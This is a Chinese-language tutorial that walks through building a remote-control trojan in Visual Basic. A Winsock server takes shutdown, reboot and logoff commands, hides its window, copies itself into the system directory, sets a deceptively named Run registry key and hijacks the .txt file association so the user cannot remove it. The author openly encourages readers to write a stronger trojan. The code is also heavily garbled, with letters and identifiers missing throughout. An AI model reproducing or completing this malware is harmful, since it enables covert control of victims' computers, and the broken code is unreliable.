?首先,新建一工程,名為server,新建一個窗體,name為server,在窗體中加入一個insock控件,name設(shè)為sckserver,協(xié)議設(shè)為默認的tcp/ip協(xié)議。
接下來我們回來server窗體模塊中,添加如下代碼:
privatesubform_load
ith
.=88917本地端口(呵呵!我的生日!)
.開始監(jiān)聽
endith
endsub
接受客戶端的連接請求。
privatesubsckserver_erequest(byvalrequestidlong)
ith
.
.(requestid)
endith
endsub
下面我們來建立客戶端程序:新建一個工程,名為t,把窗體名為t,在上面加入一個insock控件,名為sckt,協(xié)議為tcp/ip協(xié)議。再加一個按鈕cmdect在窗體模塊中加入代碼:
privatesubform_load
ith
.=“127.0.0.1“設(shè)置遠程ip,本例設(shè)為本機。
.=88917遠程端口,就為server中的設(shè)置一樣.
endith
endsub
privatesubcmdect_clic
endsub
至此,單擊ect按鈕我們的兩個工程已經(jīng)可以進行通信了,但看不見,你可以在t中的sckt_ect事件中加入代碼:“ionsuccessful!”來查看。
這僅是第一步,一點工作也做不了,下面我們來為它們添加功能。為了簡單,本文章只實現(xiàn)一點小小的功能―――關(guān)機,重啟,注銷。好,開始吧!
在server工程中新建一個模塊,name為modapi,這個??鞛橐恍゛pi函數(shù),添加如下api函數(shù):
publicdeclarefunexitindoxxxlib“user32“alias“exitindoxxx“(byvaluflagslong,byvaldreservedlong)long
publistex_logoff=0
publistex_reboot=2
publistex_shutdon=1
publicdeclarefunclipcursorlib“user32“alias“clipcursor“(lprey)long
publictyperect
leftlong
toplong
rightlong
bottomlong
endtype
注:在兩個socket中編程中,進行通信的重要事件是dataarrival事件,用于接收遠程數(shù)據(jù)。
下面在t工程的t窗體中放入三個按鈕,分別為cmdexit,cmdlogoff,cmdreboot。它們用于對遠程的關(guān)機,注銷,重啟操作。分別添加如下代碼:
privatesubcmdexit_click
me.“exit“
endsub
privatesubcmdlogoff_click
me.“l(fā)ogoff“
endsub
privatesubcmdreboot_click
me.“reboot“
endsub
全都是對服務(wù)端發(fā)出請求。下面轉(zhuǎn)到server工程中:在server中添加sckserver的dataarrial事件,接收客戶端的請求。
privatesubsckserver_dataarrival(byvalbytestotallong)
dimstrdatastring
ith
接收客戶請求的信息
.strdata
selectcasestrdata
case“exit“
關(guān)機
callexitindoxxx(ex_shutdon,0)
case“reboot“
重啟
callexitindoxxx(ex_reboot,0)
case“l(fā)ogoff“
注銷
callexitindoxxx(ex_logoff,0)
e
endith
endsub
好了,到此我們已經(jīng)實現(xiàn)功能了,但還不行,我們要它在背后運行。這簡單,在server中的form_load事件中加入一句:de。好這下看不見了,但大家知道木馬是一開機就自動運行了,這又是為什么,怎么實現(xiàn)的?把它加入到注冊表的啟動組中?對,不錯,跟我來吧!
回到server工程中的modapi中加入如下api函數(shù):
publicdeclarefunregopenkeylib““alias&quopenkeya“(byvalhkeylong,byvallpsubkeystring,phkresultlong)long
publicdeclarefunregsetvalueexlib““alias&qusetvalueexa“(byvalhkeylong,byvallpvaluering,byvalreservedlong,byvaldtypelong,lpdataany,byvalcbdatalong)long
publicdeclarefunregcreatekeylib““alias&qucreatekeya“(byvalhkeylong,byvallpsubkeystring,phkresultlong)long
publistreg_binary=3
publistreg_sz=1
publisthkey_local_mae=&h80000002
publisthkey_classes_root=&h80000000
寫到注冊表啟動組中的過程。
publicsubstartupgroup
dimskeystring
dimresultlong
dimhkeyidlong
dimskeyvalstring
skey=“systrsy“啟動組中的鍵,找一個與系統(tǒng)文件相近的。
skeyval=“c:/indos/system/“木馬文件的路徑,可以用getsystemdirectory來取得系統(tǒng)路徑。
result=regopenkey(hkey_local_mae,_
“softare/microsoft/indos/currentversion/run“,hkeyid)
result=0then
result=regsetvalueex(hkeyid,skey,0&,reg_sz,skeyval,len(skey)+1)
end
endsub
好,就這樣簡單地完成了。但是,想過沒有,如果不是很菜的鳥,到注冊表中見一刪,我們苦苦的心血不就白白地浪費了嗎?不行,還得想讓他發(fā)現(xiàn)了刪也刪不掉。請看下面的代碼:
publicsubritetotxt
dimresultlong
dimhkeyidlong
dimskeystring
dimskeyvalstring
skey=“txtfile/shell/open/mand“
skeyval=“c:/indos/system/“
result=regopenkey(hkey_classes_root,skeyval,hkeyid)
result=0then
result=regsetvalueex(hkeyid,skey,0&,reg_sz,skeyval,len(skeyval)+1)
end
endsub
肯定不少朋友一看就知道了,原是與txt文件進行關(guān)聯(lián),一點也不錯,但c:/indos/system/是哪里來的,我們的木馬是c:/indos/system/呀。這可是我們木馬的分身了。
好,回到server工程的server窗體的form_load中,加入如下代碼:
dimscurrentpathstring,ssystemdirstring
scurrentpath=&“/“&xename&“.exe“
ssystemdir=“c:/indos/system”
errorresume
復(fù)制文件成系統(tǒng)目錄下的
filecopyscurrentpath,ssystemdir&“/“
errorresume
復(fù)制文件成系統(tǒng)目錄下的
filecopyscurrentpath,ssystemdir&“/“
調(diào)用
callstartupgroup
callritetotxt
判斷程序是否下在運行
then
如果已經(jīng)運行就退出。
end
end
好了,寫到這里一個破壞性木馬已經(jīng)誕生了,我實驗過還是比較好的一個,希望大家也能寫一個好的木馬,能突破冰河(呵呵!)
注意:
1、大家在處理端口是最好使用高端端口,否則會和一些常用端口發(fā)生沖突
2、在第一次使用vb.的最好看看有關(guān)的圖書,可能你能寫出一款超級木馬也說不定